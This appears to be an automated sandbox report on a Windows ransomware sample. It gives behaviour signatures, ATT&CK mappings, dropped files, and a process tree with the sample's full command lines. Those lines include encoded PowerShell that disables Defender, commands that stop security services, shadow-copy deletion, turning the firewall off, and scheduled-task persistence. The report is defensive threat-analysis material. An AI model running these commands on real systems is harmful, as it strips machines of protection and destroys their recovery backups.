Overview

overview

10

Static

static

10

2026-04-20...ry.exe

windows10-2004-x64

10

2026-04-20...ry.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    20/04/2026, 04:14

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General

  • Target
    2026-04-20_87500a374cd7b579fe1a8b0d00c2eda1_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 51KB
  • Sample260420-etr2nacw7x
  • SHA256 25925ff22d245f9814200b4d028a99648bba4897f6a84d9570f7c30fd31123bc
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Detects command variations typically used by ransomware 2 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Detects ransomware indicator 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Drops file in System32 directory 5 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • EICAR Anti-Malware test file 1 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-20_87500a374cd7b579fe1a8b0d00c2eda1_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-20_87500a374cd7b579fe1a8b0d00c2eda1_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2856
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:3892
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2372
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:684
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4892
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2732
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4492
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:1836
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3772
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4648
      • C:\Users\Admin\AppData\Local\Temp\2026-04-20_87500a374cd7b579fe1a8b0d00c2eda1_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-04-20_87500a374cd7b579fe1a8b0d00c2eda1_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:4760
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:2428
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-20_87500a374cd7b579fe1a8b0d00c2eda1_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1548
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4344
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4772
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4696
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2372
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:4548
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4892
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:1836
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:3760
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3244
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1828
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:376
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4508
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:4700
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:904
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:8
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:568
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                • Suspicious use of AdjustPrivilegeToken
                PID:4400
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-20_87500a374cd7b579fe1a8b0d00c2eda1_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:656
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
                PID:3796
              • C:\Windows\System32\notepad.exe
                "C:\Windows\System32\notepad.exe"
                2⤵
                  PID:4664
                • C:\Windows\System32\vssadmin.exe
                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:3684
                • C:\Windows\System32\wbem\WMIC.exe
                  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2380
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3452
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:4924
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:768
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4016
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:3736
                • C:\Windows\system32\LogonUI.exe
                  "LogonUI.exe" /flags:0x0 /state0:0xa3a24855 /state1:0x41c64e6d
                  1⤵
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:1016
                • C:\Users\Admin\AppData\Local\Temp\2026-04-20_87500a374cd7b579fe1a8b0d00c2eda1_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  C:\Users\Admin\AppData\Local\Temp\2026-04-20_87500a374cd7b579fe1a8b0d00c2eda1_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  1⤵
                    PID:3028
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1880
                  • C:\Windows\system32\wbem\wmiprvse.exe
                    C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                    1⤵
                      PID:3796

                    Network

                          MITRE ATT&CK Enterprise v16

                          Reconnaissance

                          Resource Development

                          Initial Access

                          Execution

                          Command and Scripting Interpreter

                          2
                          T1059

                          PowerShell

                          1
                          T1059.001

                          Scheduled Task/Job

                          1
                          T1053

                          Scheduled Task

                          1
                          T1053.005

                          System Services

                          2
                          T1569

                          Service Execution

                          2
                          T1569.002

                          Windows Management Instrumentation

                          1
                          T1047

                          Persistence

                          Boot or Logon Autostart Execution

                          1
                          T1547

                          Registry Run Keys / Startup Folder

                          1
                          T1547.001

                          Create or Modify System Process

                          4
                          T1543

                          Windows Service

                          4
                          T1543.003

                          Event Triggered Execution

                          1
                          T1546

                          Netsh Helper DLL

                          1
                          T1546.007

                          Scheduled Task/Job

                          1
                          T1053

                          Scheduled Task

                          1
                          T1053.005

                          Privilege Escalation

                          Boot or Logon Autostart Execution

                          1
                          T1547

                          Registry Run Keys / Startup Folder

                          1
                          T1547.001

                          Create or Modify System Process

                          4
                          T1543

                          Windows Service

                          4
                          T1543.003

                          Event Triggered Execution

                          1
                          T1546

                          Netsh Helper DLL

                          1
                          T1546.007

                          Scheduled Task/Job

                          1
                          T1053

                          Scheduled Task

                          1
                          T1053.005

                          Defense Evasion

                          Direct Volume Access

                          1
                          T1006

                          Impair Defenses

                          3
                          T1562

                          Disable or Modify System Firewall

                          1
                          T1562.004

                          Disable or Modify Tools

                          1
                          T1562.001

                          Indicator Removal

                          2
                          T1070

                          File Deletion

                          2
                          T1070.004

                          Modify Registry

                          3
                          T1112

                          Credential Access

                          Credentials from Password Stores

                          1
                          T1555

                          Credentials from Web Browsers

                          1
                          T1555.003

                          Unsecured Credentials

                          1
                          T1552

                          Credentials In Files

                          1
                          T1552.001

                          Discovery

                          Browser Information Discovery

                          1
                          T1217

                          Process Discovery

                          1
                          T1057

                          Query Registry

                          1
                          T1012

                          System Information Discovery

                          3
                          T1082

                          Lateral Movement

                          Collection

                          Data from Local System

                          1
                          T1005

                          Command and Control

                          Exfiltration

                          Impact

                          Defacement

                          1
                          T1491

                          Inhibit System Recovery

                          2
                          T1490

                          Service Stop

                          2
                          T1489

                          Replay Monitor

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                          Downloads

                          doc_3.pdf
                          • Path C:\SystemVolumeInformation\doc_3.pdf
                          • Size 68KB
                          • SHA256 9c61a862fee4e599243b8f7f04101d4895ae45dca04411cb4ba36994573d7aac
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          2026-04-20_87500a374cd7b579fe1a8b0d00c2eda1_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-04-20_87500a374cd7b579fe1a8b0d00c2eda1_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                          • Size 660B
                          • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          __PSScriptPolicyTest_kvgc2if3.cxo.ps1
                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kvgc2if3.cxo.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          createshortcut.vbs
                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 309B
                          • SHA256 835052492d76c92aaa40bbe532467619e639e063525d0bef42c0002e46c37d81
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          del.bat
                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          makelnk.vbs
                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 310B
                          • SHA256 1ce39dbb41670f087834558e24146593c98e3e435faf52eec13a787164e46afd
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          eicar_extra.com
                          • Path C:\Users\Admin\Documents\eicar_extra.com
                          • Size 68B
                          • SHA256 275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          sysupdate.exe
                          • Path C:\Windows\System32\sysupdate.exe
                          • Size 51KB
                          • SHA256 25925ff22d245f9814200b4d028a99648bba4897f6a84d9570f7c30fd31123bc
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          memory/1016-2288-0x00000236D57C0000-0x00000236D58DE000-memory.dmp
                          Download

                          memory/2428-2236-0x000001533AD60000-0x000001533AD6C000-memory.dmp
                          Download

                          memory/2428-2235-0x000001533C910000-0x000001533CA2E000-memory.dmp
                          Download

                          memory/2856-2265-0x00000206415B0000-0x00000206415B8000-memory.dmp
                          Download

                          memory/2856-2266-0x00000206415E0000-0x00000206415E6000-memory.dmp
                          Download

                          memory/2856-14-0x0000020640FE0000-0x0000020641002000-memory.dmp
                          Download

                          memory/2856-2292-0x00000206288D0000-0x00000206288DC000-memory.dmp
                          Download

                          memory/2856-2241-0x00000206415A0000-0x00000206415AA000-memory.dmp
                          Download

                          memory/2856-2293-0x0000020628E50000-0x0000020628E62000-memory.dmp
                          Download

                          memory/2856-2260-0x0000020641600000-0x000002064161A000-memory.dmp
                          Download

                          memory/2856-2026-0x0000020641360000-0x000002064136A000-memory.dmp
                          Download

                          memory/2856-1502-0x0000020641390000-0x0000020641443000-memory.dmp
                          Download

                          memory/2856-2267-0x00000206415F0000-0x00000206415FA000-memory.dmp
                          Download

                          memory/2856-1483-0x0000020641370000-0x000002064138C000-memory.dmp
                          Download

                          memory/2856-2232-0x00000206415C0000-0x00000206415DC000-memory.dmp
                          Download

                          memory/3796-2263-0x0000023195520000-0x000002319563E000-memory.dmp
                          Download

                          memory/3796-2264-0x0000023193B10000-0x0000023193B1C000-memory.dmp
                          Download

                          memory/4292-1-0x000000001B4E0000-0x000000001B4F0000-memory.dmp
                          Download

                          memory/4292-2289-0x000000001B4E0000-0x000000001B4F0000-memory.dmp
                          Download

                          memory/4292-4-0x000000001DF00000-0x000000001E0C2000-memory.dmp
                          Download

                          memory/4292-2287-0x000000001D2E0000-0x000000001D2F2000-memory.dmp
                          Download

                          memory/4292-2286-0x000000001B5E0000-0x000000001B6FE000-memory.dmp
                          Download

                          memory/4292-2285-0x0000000000E90000-0x0000000000E9C000-memory.dmp
                          Download

                          memory/4292-0-0x0000000000760000-0x0000000000774000-memory.dmp
                          Download

                          memory/4292-5-0x000000001E0D0000-0x000000001E5F8000-memory.dmp
                          Download

                          memory/4664-2273-0x0000011A39560000-0x0000011A39561000-memory.dmp
                          Download

                          memory/4664-2295-0x0000011A39900000-0x0000011A39A1E000-memory.dmp
                          Download